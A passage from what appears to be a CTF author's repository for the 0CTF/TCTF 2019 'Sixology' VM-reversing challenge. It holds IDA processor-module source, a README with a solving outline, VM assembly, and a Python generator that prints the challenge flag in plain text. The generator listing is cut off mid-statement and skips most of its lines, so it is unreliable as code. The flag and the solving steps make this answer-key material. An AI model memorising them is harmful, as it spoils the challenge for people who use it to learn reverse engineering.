CF_USE2 | CF_USE3 | CF_JUMP }, 35 | { "lexcmp", CF_CHG1 | CF_USE2 | CF_USE3 }, 36 | { "ins_28", 0 }, 37 | { "ret", CF_STOP }, 38 | { "jmpcond", CF_USE1 | CF_USE2 | CF_JUMP }, 39 | { "load", CF_CHG1 | CF_USE2 }, 40 | }; 41 | #else 42 | instruc_t Instructions[] = 43 | { 44 | { "6666666666_____", 0 }, 45 | { "6666666______________", 0 }, 46 | { "666666666__________", CF_USE1 }, 47 | { "66666_____", CF_USE1 | CF_CHG2 }, 48 | { "6666____", CF_CHG1 | CF_CHG2 }, 49 | { "6666____________", 0 }, 50 | { "66666666____", 0 }, 51 | { "666666666____________", CF_USE1 | CF_USE2 }, 52 | { "66666666____________", CF_CHG1 | CF_USE2 | CF_USE3 }, 53 | { "6666666666_______", 0 }, 54 | { "666666_____________", 0 }, 55 | { "6666666_________", CF_CHG1 | CF_USE2 }, 56 | { "666666666______", CF_CHG1 | CF_USE2 | CF_USE3 }, 57 | { "6666666_______", 0 }, 58 | { "666666____________", CF_CHG1 | CF_USE2 | CF_USE3 }, 59 | { "6666__________", 0 }, 60 | { "6666666________", CF_CHG1 | CF_USE2 }, 61 | // HINT: call 62 | { "666666666_________", CF_USE1 | CF_CALL }, 63 | { "6666___________", 0 }, 64 | { "6666666_____________", CF_USE1 | CF_JUMP }, 65 | { "66666666_________", CF_CHG1 | CF_USE2 | CF_USE3 }, 66 | { "6666_______", 0 }, 67 | { "6666666__________", 0 }, 68 | { "6666_____", CF_USE1 | CF_JUMP }, 69 | { "6666666___", CF_CHG1 | CF_CHG2 | CF_USE3 | CF_USE4 }, 70 | { "6666666666____________", 0 }, 71 | { "666666______", CF_USE1 | CF_USE2 | CF_USE3 | CF_JUMP }, 72 | { "66666666_____", CF_CHG1 | CF_USE2 | CF_USE3 }, 73 | { "6666666666______________", 0 }, 74 | { "6666666666________", CF_STOP }, 75 | { "66666______________", CF_USE1 | CF_USE2 | CF_JUMP }, 76 | { "666666666_____________", CF_CHG1 | CF_USE2 }, 77 | }; 78 | #endif 79 | 80 | 81 | CASSERT(qnumber(Instructions) == MEMEDA_last); 82 | -------------------------------------------------------------------------------- /2019/0ctf/sixology/IDA/ins.hpp: -------------------------------------------------------------------------------- 1 | #ifndef __INS_HPP 2 | #define __INS_HPP 3 | 4 | extern instruc_t Instructions[]; 5 | 6 | enum nameNum 7 | { 8 | MEMEDA_null = 0, 9 | 10 | MEMEDA_allocframe = 2, 11 | MEMEDA_deallocframe = 5, 12 | 13 | MEMEDA_store = 3, 14 | MEMEDA_load = 31, 15 | 16 | MEMEDA_loop = 7, 17 | MEMEDA_endloop = 23, 18 | 19 | MEMEDA_jmp = 19, 20 | MEMEDA_call = 17, 21 | MEMEDA_jmpcond = 30, 22 | MEMEDA_ret = 29, 23 | MEMEDA_switch = 26, 24 | 25 | MEMEDA_add = 8, 26 | MEMEDA_sub = 14, 27 | MEMEDA_div = 24, 28 | MEMEDA_nor = 12, 29 | 30 | MEMEDA_cmp = 20, 31 | 32 | MEMEDA_exchange = 4, 33 | MEMEDA_mov = 16, 34 | MEMEDA_li = 11, 35 | 36 | MEMEDA_lexcmp = 27, 37 | 38 | MEMEDA_last = 32, 39 | }; 40 | 41 | #endif 42 | -------------------------------------------------------------------------------- /2019/0ctf/sixology/IDA/out.cpp: -------------------------------------------------------------------------------- 1 | #include "0ctf.hpp" 2 | 3 | 4 | //---------------------------------------------------------------------- 5 | class out_0ctf_t : public outctx_t 6 | { 7 | out_0ctf_t(void) : outctx_t(BADADDR) {} // not used 8 | public: 9 | void outreg(int rn); 10 | 11 | bool out_operand(const op_t &x); 12 | void out_insn(void); 13 | void out_proc_mnem(void); 14 | void out_memop_prefix(const op_t & op); 15 | }; 16 | CASSERT(sizeof(out_0ctf_t) == sizeof(outctx_t)); 17 | 18 | DECLARE_OUT_FUNCS(out_0ctf_t) 19 | 20 | 21 | void out_0ctf_t::outreg(int rn) 22 | { 23 | const char *regname = (rn < ph.regs_num) ? ph.reg_names[rn] : "42"; 24 | out_register(regname); 25 | } 26 | //---------------------------------------------------------------------- 27 | /* outputs an operand 'x' */ 28 | #ifndef RELEASE 29 | void out_0ctf_t::out_memop_prefix(const op_t & op) 30 | { 31 | switch (op.dtype) 32 | { 33 | case dt_byte: 34 | out_line("byte ptr ", 0); 35 | break; 36 | case dt_word: 37 | out_line("word ptr ", 0); 38 | break; 39 | case dt_dword: 40 | out_line("dword ptr ", 0); 41 | break; 42 | } 43 | } 44 | 45 | bool out_0ctf_t::out_operand(const op_t & op) 46 | { 47 | switch ( op.type ) 48 | { 49 | case o_imm: 50 | out_value(op, OOFW_IMM | OOFW_32 | OOF_SIGNED); 51 | break; 52 | 53 | case o_idpspec1: 54 | { 55 | bool r = out_name_expr(op, op.addr+4, BADADDR); 56 | if (!r) 57 | { 58 | out_tagon(COLOR_ERROR); 59 | out_long(op.addr+4, 16); 60 | out_tagoff(COLOR_ERROR); 61 | remember_problem(PR_NONAME, insn.ea); 62 | } 63 | break; 64 | } 65 | case o_near: 66 | { 67 | // msg("%#x: o_near %#x\n", insn.ea, op.addr); 68 | bool r = out_name_expr(op, op.addr, BADADDR); 69 | if (!r) 70 | { 71 | out_tagon(COLOR_ERROR); 72 | out_long(op.addr, 16); 73 | out_tagoff(COLOR_ERROR); 74 | remember_problem(PR_NONAME, insn.ea); 75 | } 76 | break; 77 | } 78 | case o_reg: 79 | { 80 | outreg(op.reg); 81 | break; 82 | } 83 | case o_mem: 84 | { 85 | out_memop_prefix(op); 86 | 87 | out_symbol('['); 88 | if ( !out_name_expr(op, op.addr, op.addr) ) 89 | { 90 | out_tagon(COLOR_ERROR); 91 | out_btoa(uint32(op.addr), 16); 92 | out_tagoff(COLOR_ERROR); 93 | remember_problem(PR_NONAME, insn.ea); 94 | } 95 | out_symbol(']'); 96 | break; 97 | } 98 | case o_phrase: 99 | { 100 | out_memop_prefix(op); 101 | 102 | out_symbol('['); 103 | outreg(op.reg); 104 | out_symbol(']'); 105 | break; 106 | } 107 | case o_displ: 108 | { 109 | out_memop_prefix(op); 110 | 111 | out_symbol('['); 112 | outreg(op.reg); 113 | out_symbol('+'); 114 | out_value(op, OOF_ADDR | OOFW_IMM); 115 | out_symbol(']'); 116 | break; 117 | } 118 | case o_idpspec0: 119 | { 120 | outreg(op.reg); 121 | out_symbol('='); 122 | switch (op.specflag1) 123 | { 124 | case cLT: 125 | out_line("lt"); 126 | break; 127 | case cEQ: 128 | out_line("eq"); 129 | break; 130 | case cGT: 131 | out_line("gt"); 132 | break; 133 | } 134 | break; 135 | } 136 | 137 | default: 138 | //out_symbol('?'); 139 | break; 140 | } 141 | return 1; 142 | } 143 | 144 | #else 145 | bool out_0ctf_t::out_operand(const op_t & op) 146 | { 147 | switch ( op.type ) 148 | { 149 | case o_imm: 150 | op_t new_op; 151 | new_op.type = op.type; 152 | new_op.dtype = op.dtype; 153 | new_op.value = op.value ^ 0x66546330; 154 | out_value(new_op, OOFW_IMM | OOFW_32 | OOF_SIGNED); 155 | break; 156 | case o_reg: 157 | outreg(op.reg); 158 | break; 159 | case o_idpspec1: 160 | { 161 | // msg("%#x: o_near %#x\n", insn.ea, op.addr); 162 | bool r = out_name_expr(op, op.addr+4, BADADDR); 163 | if (!r) 164 | { 165 | out_tagon(COLOR_ERROR); 166 | out_long(op.addr+4, 16); 167 | out_tagoff(COLOR_ERROR); 168 | remember_problem(PR_NONAME, insn.ea); 169 | } 170 | break; 171 | } 172 | case o_near: 173 | { 174 | // msg("%#x: o_near %#x\n", insn.ea, op.addr); 175 | bool r = out_name_expr(op, op.addr, BADADDR); 176 | if (!r) 177 | { 178 | out_tagon(COLOR_ERROR); 179 | out_long(op.addr, 16); 180 | out_tagoff(COLOR_ERROR); 181 | remember_problem(PR_NONAME, insn.ea); 182 | } 183 | break; 184 | } 185 | default: 186 | { 187 | out_printf("op%d", op.n); 188 | } 189 | } 190 | return 1; 191 | } 192 | 193 | #endif 194 | 195 | //---------------------------------------------------------------------- 196 | void out_0ctf_t::out_proc_mnem(void) 197 | { 198 | out_mnem(); 199 | } 200 | 201 | //---------------------------------------------------------------------- 202 | void out_0ctf_t::out_insn(void) 203 | { 204 | // msg(" [out]: %#x %s\n", insn.ea, Instructions[insn.itype].name); 205 | out_mnemonic(); 206 | if ( insn.Op1.type != o_void ) 207 | out_one_operand(0); // output the first operand 208 | 209 | if ( insn.Op2.type != o_void ) 210 | { 211 | out_symbol(','); 212 | out_char(' '); 213 | out_one_operand(1); // output the second operand 214 | } 215 | 216 | if ( insn.Op3.type != o_void ) 217 | { 218 | out_symbol(','); 219 | out_char(' '); 220 | out_one_operand(2); // output the third operand 221 | } 222 | 223 | if ( insn.Op4.type != o_void ) 224 | { 225 | out_symbol(','); 226 | out_char(' '); 227 | out_one_operand(3); // output the 4th operand 228 | } 229 | 230 | // output a character representation of the immediate values 231 | // embedded in the instruction as comments 232 | out_immchar_cmts(); 233 | set_gen_cmt(); 234 | 235 | flush_outbuf(); 236 | } 237 | -------------------------------------------------------------------------------- /2019/0ctf/sixology/IDA/reg.cpp: -------------------------------------------------------------------------------- 1 | #include "0ctf.hpp" 2 | #include 3 | #include 4 | 5 | //-------------------------------------------------------------------------- 6 | netnode helper; 7 | 8 | #ifndef RELEASE 9 | static const char *const RegNames[] = 10 | { 11 | "r0", "r1", "r2", "r3", "r4", "r5", "r6", "r7", 12 | "r8", "r9", "r10", "r11", "r12", "r13", "r14", "r15", 13 | "r16", "r17", "r18", "r19", "r20", "r21", "r22", "r23", 14 | "r24", "r25", "r26", "r27", "r28", "LR", "FP", "SP", 15 | "P0", "P1", "P2", "P3", 16 | "SA", "LC", 17 | "CS", "DS" 18 | }; 19 | #else 20 | // FIXME 21 | static const char *const RegNames[] = 22 | { 23 | "_______6666", 24 | "________666666", 25 | "_____________6666666666", 26 | "______66666666", 27 | "___________6666666666", 28 | "_____________666666666", 29 | "________666666666", 30 | "_______66666", 31 | "____________6666", 32 | "_____________66666", 33 | "_______666666666", 34 | "__________6666666666", 35 | "___6666666666", 36 | "__________6666", 37 | "______________66666", 38 | "_____66666666", 39 | "___________6666666", 40 | "________6666666", 41 | "_____666666", 42 | "__________666666", 43 | "______________6666666666", 44 | "_______6666666666", 45 | "______666666666", 46 | "________6666", 47 | "_____6666666666", 48 | "___________666666666", 49 | "___66666666", 50 | "_______666666", 51 | "_____________666666", 52 | "____666666666", 53 | "____6666", 54 | "________66666666", 55 | "____666666", 56 | "______________666666", 57 | "_____66666", 58 | "___________666666", 59 | "_____________6666666", 60 | "__________666666666", 61 | "_________66666666", 62 | "_________6666", 63 | }; 64 | #endif 65 | 66 | static const bytes_t codestart[] = 67 | { 68 | { 0, NULL } 69 | }; 70 | 71 | //-------------------------------------------------------------------------- 72 | // handler for some IDB events 73 | static ssize_t idaapi idb_notify(void *, int notification_code, va_list va) 74 | { 75 | switch ( notification_code ) 76 | { 77 | case idb_event::closebase: 78 | case idb_event::savebase: 79 | //helper.altset(-1, idpflags); 80 | break; 81 | 82 | case idb_event::op_type_changed: 83 | // An operand type (offset, hex, etc...) has been set or deleted 84 | { 85 | } 86 | break; 87 | } 88 | return 0; 89 | } 90 | 91 | //----------------------------------------------------------------------- 92 | // ASMI 93 | //----------------------------------------------------------------------- 94 | static const asm_t oops_as = 95 | { 96 | AS_COLON | AS_N2CHR | AS_1TEXT | ASH_HEXF3 | ASO_OCTF5 | ASB_BINF3 97 | |AS_ONEDUP | AS_ASCIIC, 98 | 0, 99 | "0ctf2019 Assembler", 100 | 0, 101 | NULL, // no headers 102 | "org", // org directive 103 | "end", // end directive 104 | ";;", // comment string 105 | '"', // string delimiter 106 | '\'', // char delimiter 107 | "\\\"'", // special symbols in char and string constants 108 | 109 | ".ascii", // ascii string directive 110 | "db", // byte directive 111 | "dw", // word directive 112 | "dd", // dword (4 bytes) 113 | "dq", // qword (8 bytes) 114 | NULL, // oword (16 bytes) 115 | ".float", // float (4 bytes) 116 | ".double", // double (8 bytes) 117 | NULL, // tbyte (10/12 bytes) 118 | NULL, // packed decimal real 119 | ".ds.#s(b,w,l,d) #d, #v", // arrays (#h,#d,#v,#s(...) 120 | "%s dup ?", // uninited arrays 121 | "=", // equ 122 | NULL, // seg prefix 123 | ".", // curent ip 124 | NULL, // func_header 125 | NULL, // func_footer 126 | ".global", // public 127 | NULL, // weak 128 | ".extern", // extrn 129 | ".comm", // comm 130 | NULL, // get_type_name 131 | ".align", // align 132 | '(', ')', // lbrace, rbrace 133 | "%", // mod 134 | "&", // and 135 | "|", // or 136 | "^", // xor 137 | "!", // not 138 | "<<", // shl 139 | ">>", // shr 140 | "sizeof %s", // sizeof 141 | }; 142 | 143 | 144 | static const asm_t *const asms[] = { &oops_as, NULL }; 145 | 146 | //----------------------------------------------------------------------- 147 | // The short and long names of the supported processors 148 | #define FAMILY "Argonaut RISC Core:" 149 | 150 | static const char *const shnames[] = 151 | { 152 | "0ops", 153 | NULL 154 | }; 155 | 156 | static const char *const lnames[] = 157 | { 158 | "0CTF2019 ( Processor )", 159 | NULL 160 | }; 161 | 162 | //-------------------------------------------------------------------------- 163 | // Opcodes of "return" instructions. This information will be used in 2 ways: 164 | // - if an instruction has the "return" opcode, its autogenerated label 165 | // will be "locret" rather than "loc". 166 | // - IDA will use the first "return" opcode to create empty subroutines. 167 | /* 168 | static const uchar retcode[] = {}; 169 | 170 | static const bytes_t retcodes[] = 171 | { 172 | { 0, NULL } // NULL terminated array 173 | }; 174 | */ 175 | 176 | //---------------------------------------------------------------------- 177 | // The kernel event notifications 178 | // Here you may take desired actions upon some kernel events 179 | static ssize_t idaapi notify(void *, int msgid, va_list va) 180 | { 181 | int code = 0; 182 | switch ( msgid ) 183 | { 184 | case processor_t::ev_init: 185 | { 186 | helper.create("$ 0ctf"); 187 | inf.set_be(false); // Set little-endian mode of the IDA kernel 188 | hook_to_notification_point(HT_IDB, idb_notify); 189 | break; 190 | } 191 | 192 | case processor_t::ev_term: 193 | { 194 | unhook_from_notification_point(HT_IDB, idb_notify); 195 | break; 196 | } 197 | 198 | case processor_t::ev_newfile: 199 | break; 200 | 201 | case processor_t::ev_oldfile: 202 | // idpflags = (ushort)helper.altval(-1); 203 | break; 204 | 205 | case processor_t::ev_creating_segm: 206 | break; 207 | 208 | case processor_t::ev_out_mnem: 209 | { 210 | outctx_t *ctx = va_arg(va, outctx_t *); 211 | out_mnem(*ctx); 212 | return 1; 213 | } 214 | 215 | case processor_t::ev_is_basic_block_end: 216 | { 217 | const insn_t *insn = va_arg(va, insn_t *); 218 | return oops_is_basic_block_end(*insn) ? 1 : -1; 219 | } 220 | // HINT: ret 221 | case processor_t::ev_is_ret_insn: 222 | { 223 | const insn_t *insn = va_arg(va, insn_t *); 224 | return (insn->itype == MEMEDA_ret)? 1: -1; 225 | } 226 | 227 | // +++ TYPE CALLBACKS 228 | case processor_t::ev_decorate_name: 229 | { 230 | qstring *outbuf = va_arg(va, qstring *); 231 | const char *name = va_arg(va, const char *); 232 | bool mangle = va_argi(va, bool); 233 | cm_t cc = va_argi(va, cm_t); 234 | tinfo_t *type = va_arg(va, tinfo_t *); 235 | return gen_decorate_name(outbuf, name, mangle, cc, type) ? 1 : 0; 236 | } 237 | 238 | case processor_t::ev_max_ptr_size: 239 | return 4; 240 | 241 | case processor_t::ev_get_default_enum_size: // get default enum size 242 | // args: cm_t cm 243 | // returns: sizeof(enum) 244 | { 245 | return inf.cc.size_e; 246 | } 247 | 248 | case processor_t::ev_calc_arglocs: 249 | { 250 | return code; 251 | } 252 | /* 253 | case processor_t::ev_is_call_insn: 254 | // Is the instruction a "call"? 255 | // ea_t ea - instruction address 256 | // returns: 1-unknown, 0-no, 2-yes 257 | { 258 | const insn_t *insn = va_arg(va, insn_t *); 259 | code = is_call_insn(*insn) ? 1 : -1; 260 | return code; 261 | } 262 | */ 263 | 264 | case processor_t::ev_out_header: 265 | { 266 | return 1; 267 | } 268 | 269 | case processor_t::ev_out_footer: 270 | { 271 | return 1; 272 | } 273 | 274 | case processor_t::ev_out_segstart: 275 | { 276 | return 1; 277 | } 278 | 279 | case processor_t::ev_ana_insn: 280 | { 281 | insn_t *out = va_arg(va, insn_t *); 282 | return ana(out); 283 | } 284 | 285 | case processor_t::ev_emu_insn: 286 | { 287 | const insn_t *insn = va_arg(va, const insn_t *); 288 | return emu(*insn) ? 1 : -1; 289 | } 290 | 291 | case processor_t::ev_out_insn: 292 | { 293 | outctx_t *ctx = va_arg(va, outctx_t *); 294 | out_insn(*ctx); 295 | return 1; 296 | } 297 | 298 | case processor_t::ev_out_operand: 299 | { 300 | outctx_t *ctx = va_arg(va, outctx_t *); 301 | const op_t *op = va_arg(va, const op_t *); 302 | return out_opnd(*ctx, *op) ? 1 : -1; 303 | } 304 | 305 | case processor_t::ev_create_func_frame: 306 | { 307 | func_t *pfn = va_arg(va, func_t *); 308 | create_func_frame(pfn); 309 | return 1; 310 | } 311 | 312 | case processor_t::ev_get_frame_retsize: 313 | { 314 | int *frsize = va_arg(va, int *); 315 | const func_t *pfn = va_arg(va, const func_t *); 316 | *frsize = oops_get_frame_retsize(pfn); 317 | return 1; 318 | } 319 | 320 | default: 321 | break; 322 | } 323 | return code; 324 | } 325 | 326 | //----------------------------------------------------------------------- 327 | // Processor Definition 328 | //----------------------------------------------------------------------- 329 | processor_t LPH = 330 | { 331 | IDP_INTERFACE_VERSION, // version 332 | 0x8000 + 2019, // id 333 | // flag 334 | PR_USE32 // 32-bit processor 335 | | PR_NO_SEGMOVE 336 | | PR_DEFSEG32 // create 32-bit segments by default 337 | | PRN_HEX // Values are hexadecimal by default 338 | | PR_TYPEINFO // Support the type system notifications 339 | | PR_RNAMESOK, // register names can be reused for location names 340 | // flag2 341 | 0, // the module has processor-specific configuration options 342 | 8, // 8 bits in a byte for code segments 343 | 8, // 8 bits in a byte for other segments 344 | 345 | shnames, // array of short processor names 346 | // the short names are used to specify the processor 347 | // with the -p command line switch) 348 | lnames, // array of long processor names 349 | // the long names are used to build the processor type 350 | // selection menu 351 | 352 | asms, // array of target assemblers 353 | 354 | notify, // the kernel event notification callback 355 | 356 | RegNames, // Register names 357 | qnumber(RegNames), // Number of registers 358 | 359 | rVcs, // first 360 | rVds, // last 361 | 0, // size of a segment register 362 | rVcs, rVds, 363 | 364 | codestart, // code start sequences 365 | 0, 366 | 367 | 0, /*FIXME*/MEMEDA_last, 368 | Instructions, // instruc 369 | 0, // size of tbyte 370 | {0, 4, 8, 16}, // real width 371 | /*FIXME*/MEMEDA_ret, // Icode of a return instruction 372 | NULL, // Micro virtual machine description 373 | }; 374 | -------------------------------------------------------------------------------- /2019/0ctf/sixology/README.md: -------------------------------------------------------------------------------- 1 | Here is `Sixology` source code and some related ugly scripts on [0CTF/TCTF 2019 Quals](https://ctf.0ops.sjtu.cn) 2 | 3 | This is a vm reversing challenge, but without simulator. 4 | 5 | ## Build Processor 6 | Tested on 7.0 and 7.2 7 | 8 | ```bash 9 | $ cd sixology/IDA 10 | $ mkdir build 11 | $ cd build 12 | # for debug 13 | $ cmake -DIDA_SDK_DIR="/path/to/your/idasdk" .. 14 | # for release 15 | $ cmake -DIDA_SDK_DIR="/path/to/your/idasdk" -DCMAKE_BUILD_TYPE=Release .. 16 | ``` 17 | 18 | > If you are told that missing some files, find them in IDASDK. 19 | 20 | ## Writeup 21 | 0. Have some basic knowledge on IDA processor development. 22 | 1. Get `LPH` in processor from export table 23 | 2. find out `notify` member in `LPH` object 24 | 3. locate key functions in `notify` via event_code (ev_ana_insn, ev_emu_insn, etc.) 25 | 4. Figure out instruction encoding and decoding from `ana` function 26 | 5. Understand vm instructions semantic in all emu analysis handlers, I've try to explain all the instructions in this vm. Follow the emu data flow and other api used at this stage (set_switch_info, add_crefs, get_dword, trace_sp, etc.), you could understand all of them. 27 | 28 | > * `HINT` in source code means that here is the hint of one vm instruction. 29 | > * You could find most of enum value and struct definition through IDA official online documents. 30 | > * Be careful about `lexcmp` and `exchange` vm instruction, without `lexcmp`, it's another problem. 31 | 32 | 6. Understand what's the program doing and optimize the algorithm. 33 | 7. Run it and Get flag. 34 | 35 | 36 | ## Thanks 37 | * Thanks for [slipper](https://github.com/5lipper) and [hen](https://github.com/liumuqing) for many useful advice to this challenge. 38 | * Thanks for [nforest](https://github.com/nforest) and [Azure](https://twitter.com/4zure9) for help on IDA. 39 | -------------------------------------------------------------------------------- /2019/0ctf/sixology/src/binary: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/xiaohuajiao/my-ctf/6f1be3f6d74df2ee3dca64760e68b75a928a7e09/2019/0ctf/sixology/src/binary -------------------------------------------------------------------------------- /2019/0ctf/sixology/src/generator.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # encoding: utf-8 3 | 4 | import struct 5 | import argparse 6 | from random import randint 7 | 8 | flag = "flag{H1gHLigH7_Th3_Cu1tuRe_0f_CN_4nD_wen_TI_OpEN_fl0w3R_Together!}" 9 | #flag = "flag{test}" 10 | 11 | N_BASE = 0xb80 12 | K_BASE = 0xca0 13 | TMP_BASE = 0x888 14 | FLAG_BASE = 0x666 15 | KEY_BASE = 0xa00 16 | OFF_BASE = 0xa50 17 | 18 | DEBUG = False 19 | #DEBUG = True 20 | 21 | def p32(a): 22 | return struct.pack("= 2 and ff[i] > tmp: 258 | continue 259 | break 260 | 261 | offset = 0 262 | if ff[i] < tmp: 263 | offset = tmp - ff[i] 264 | else: 265 | offset = ff[i] - tmp 266 | 267 | keys.append(key) 268 | offs.append(offset) 269 | 270 | code += """ 271 | db. {KEY}={keys} 272 | db. {OFF}={offs} 273 | """.format(KEY=KEY_BASE, OFF=OFF_BASE, 274 | keys=' '.join(map(str, keys)), 275 | offs=' '.join(map(lambda x: str(x & 0xff), offs))) 276 | #offs=' '.join(map(lambda x: str(ord(x)), ''.join(map(p32, offs))))) 277 | return code 278 | 279 | def sort(): 280 | code = """ 281 | Count: 282 | allocframe 0x100 283 | mov r10, r0 284 | mov r11, r1 285 | li r25, 0x2019 286 | li r23, 0 287 | li r24, 0 288 | li r19, 4 289 | li r18, 1 290 | loop Init, r0 291 | Init: 292 | add r6, r23, r1 293 | div r14, r15, r6, r0 294 | add r15, r15, r18 295 | add r17, r25, r24 296 | store r15, dword ptr [r17] 297 | add r23, r23, r18 298 | add r24, r24, r19 299 | endloop Init 300 | 301 | li r15, 1 302 | li r23, 1 303 | sub r2, r0, r15 304 | loop First, r2 305 | First: 306 | li r24, 0 307 | li r22, 0 308 | sub r3, r0, r23 309 | loop Second, r3 310 | Second: 311 | add r26, r25, r22 312 | load r12, dword ptr [r26] 313 | add r27, r26, r19 314 | load r13, dword ptr [r27] 315 | lexcmp.lt p0, r12, r13 316 | jmpcond p0, NOEXCHG 317 | exchange r12, r13 318 | store r12, dword ptr [r26] 319 | store r13, dword ptr [r27] 320 | NOEXCHG: 321 | add r24, r24, r15 322 | add r22, r22, r19 323 | endloop Second 324 | add r23, r23, r15 325 | endloop First 326 | 327 | li r24, 0 328 | cmp.eq p1, r1, r15 329 | jmpcond p1, FINISH 330 | sub r2, r1, r15 331 | loop Result, r2 332 | Result: 333 | add r24, r24, r19 334 | endloop Result 335 | 336 | FINISH: 337 | add r26, r25, r24 338 | load r0, dword ptr [r26] 339 | deallocframe 340 | ret 341 | """ 342 | return code 343 | 344 | if __name__ == "__main__": 345 | ns, ks, results, code = init() 346 | with open("log.txt", 'w') as fd: 347 | fd.write("-" * 40 + ' n ' + '-' * 40 + '\n') 348 | for n in ns: 349 | fd.write("%d\n" % n) 350 | fd.write("-" * 40 + ' k ' + '-' * 40 + '\n') 351 | for k in ks: 352 | fd.write("%d\n" % k) 353 | fd.write("-" * 40 + ' r ' + '-' * 40 + '\n') 354 | for r in results: 355 | fd.write("%d\n" % r) 356 | code += mainloop() 357 | code += print_flag(results) 358 | code += "\njmp END\n" 359 | code += sort() 360 | code += """ 361 | END: 362 | mov r0, r20 363 | """ 364 | print code 365 | with open("sixology.s", 'w') as fd: 366 | fd.write(code) 367 | -------------------------------------------------------------------------------- /2019/0ctf/sixology/src/sixology.s: -------------------------------------------------------------------------------- 1 | db. 0xb80=3 6 115 250 41 76 8 248 85 10 41 244 205 2 122 241 196 155 229 241 241 187 26 244 24 71 248 253 209 63 8 240 43 237 186 241 199 234 42 250 3 204 82 246 141 176 120 241 181 142 25 241 149 37 103 240 144 54 117 241 37 120 230 242 122 25 176 242 85 135 76 248 143 166 114 251 7 211 86 246 128 94 0 252 42 55 80 243 62 132 123 242 155 46 174 241 147 183 236 242 61 35 207 242 127 72 171 253 238 137 121 251 167 232 133 245 52 82 21 251 53 88 97 248 225 46 152 254 62 46 196 246 124 55 110 249 224 167 2 241 232 145 35 254 165 0 117 250 145 243 64 246 15 103 225 241 95 35 208 249 125 45 193 247 44 118 99 248 138 91 237 251 199 222 184 253 110 19 134 241 243 172 223 242 200 26 93 254 13 119 94 242 221 214 86 251 35 177 62 243 218 250 183 244 137 40 36 246 143 4 159 245 41 250 134 252 105 71 208 252 99 128 75 241 34 242 166 250 144 57 210 240 140 106 132 246 52 130 205 243 225 13 68 250 231 78 222 245 202 43 12 244 88 3 89 240 203 104 169 244 255 45 90 246 2 | db. 0xca0=119 35 250 2 62 195 209 6 68 45 178 1 69 243 113 1 71 255 131 1 9 150 135 2 215 185 110 3 187 17 8 0 176 45 193 0 32 219 183 1 201 46 79 5 59 137 26 1 68 219 72 0 208 97 31 0 114 115 139 0 239 23 167 1 42 105 103 1 155 206 90 5 35 9 125 4 142 79 158 0 98 97 3 2 25 172 249 2 247 219 224 1 155 45 133 1 186 78 109 2 134 52 14 2 2 247 176 11 246 13 228 3 75 40 36 0 142 65 71 4 166 17 187 7 188 48 163 6 90 129 197 0 13 170 239 2 112 225 193 0 81 241 40 6 207 41 198 1 130 76 224 2 93 68 21 0 167 226 189 1 112 186 106 4 65 19 26 1 130 57 115 11 96 122 232 6 93 113 247 0 130 54 79 2 49 193 129 1 246 167 58 2 81 75 164 0 79 27 158 2 161 134 38 0 71 96 149 1 172 180 20 2 240 59 15 0 179 1 151 0 0 62 28 0 175 74 107 0 154 58 119 0 209 180 188 2 248 10 105 1 216 155 19 4 48 70 224 0 0 83 126 1 153 55 71 0 5 177 1 4 17 166 115 3 3 | li r5, 0 4 | li r4, 4 5 | li r7, 66 6 | li r8, 2944 7 | li r9, 3232 8 | li r16, 2184 9 | loop Mainloop, r7 10 | Mainloop: 11 | add r3, r8, r5 12 | load r0, dword ptr [r3] 13 | add r3, r9, r5 14 | load r1, dword ptr [r3] 15 | call Count 16 | add r3, r16, r5 17 | store r0, dword ptr[r3] 18 | add r5, r5, r4 19 | endloop Mainloop 20 | 21 | li r7, 66 22 | li r13, 1 23 | li r16, 3 24 | li r17, 2640 25 | li r18, 2560 26 | li r19, 2184 27 | li r20, 1638 28 | li r21, 0x100 29 | 30 | nor r0, r10, r10 31 | nor r1, r10, r0 32 | nor r2, r10, r0 33 | nor r3, r1, r2 34 | nor r10, r3, r3 35 | 36 | loop PRINT, r7 37 | PRINT: 38 | add r11, r18, r10 39 | load r29, byte ptr [r11] 40 | 41 | nor r0, r29, r29 42 | nor r1, r16, r16 43 | nor r5, r0, r1 44 | 45 | switch r5, DEFAULT, JTABLE, [DEC0, DEC1, DEC2] 46 | 47 | DEC0: 48 | 49 | add r11, r10, r10 50 | add r11, r11, r11 51 | 52 | add r11, r19, r11 53 | load r22, dword ptr [r11] 54 | div r25, r26, r22, r21 55 | 56 | nor r0, r26, r26 57 | nor r1, r29, r29 58 | nor r0, r0, r1 59 | nor r1, r26, r29 60 | nor r28, r0, r1 61 | 62 | add r11, r17, r10 63 | load r30, byte ptr [r11] 64 | add r28, r28, r30 65 | add r11, r20, r10 66 | store r28, byte ptr [r11] 67 | jmp PRINT_END 68 | 69 | DEC1: 70 | 71 | add r11, r10, r10 72 | add r11, r11, r10 73 | add r11, r11, r10 74 | 75 | add r11, r19, r11 76 | load r22, dword ptr [r11] 77 | div r25, r26, r22, r21 78 | 79 | nor r0, r26, r29 80 | nor r1, r26, r0 81 | nor r2, r29, r0 82 | nor r3, r1, r2 83 | nor r28, r3, r3 84 | 85 | add r11, r17, r10 86 | load r30, byte ptr [r11] 87 | add r28, r28, r30 88 | add r11, r20, r10 89 | store r28, byte ptr [r11] 90 | jmp PRINT_END 91 | 92 | DEC2: 93 | 94 | add r11, r10, r10 95 | add r12, r10, r10 96 | add r11, r11, r12 97 | 98 | add r11, r19, r11 99 | load r22, dword ptr [r11] 100 | div r25, r26, r22, r21 101 | 102 | nor r0, r26, r26 103 | nor r1, r29, r29 104 | nor r0, r0, r1 105 | nor r1, r26, r29 106 | nor r28, r0, r1 107 | 108 | add r11, r17, r10 109 | load r30, byte ptr [r11] 110 | sub r28, r28, r30 111 | add r11, r20, r10 112 | store r28, byte ptr [r11] 113 | jmp PRINT_END 114 | 115 | DEFAULT: 116 | 117 | add r11, r10, r10 118 | add r11, r11, r11 119 | 120 | add r11, r19, r11 121 | load r22, dword ptr [r11] 122 | div r25, r26, r22, r21 123 | 124 | nor r0, r26, r29 125 | nor r1, r26, r0 126 | nor r2, r29, r0 127 | nor r3, r1, r2 128 | nor r28, r3, r3 129 | 130 | add r11, r17, r10 131 | load r30, byte ptr [r11] 132 | sub r28, r28, r30 133 | add r11, r20, r10 134 | store r28, byte ptr [r11] 135 | jmp PRINT_END 136 | 137 | PRINT_END: 138 | add r10, r10, r13 139 | endloop PRINT 140 | ret 141 | 142 | db. 2560=78 228 76 122 254 201 183 78 254 241 30 59 190 65 179 90 214 187 82 55 98 238 103 50 246 3 85 11 86 180 18 89 19 166 142 86 4 116 106 18 229 195 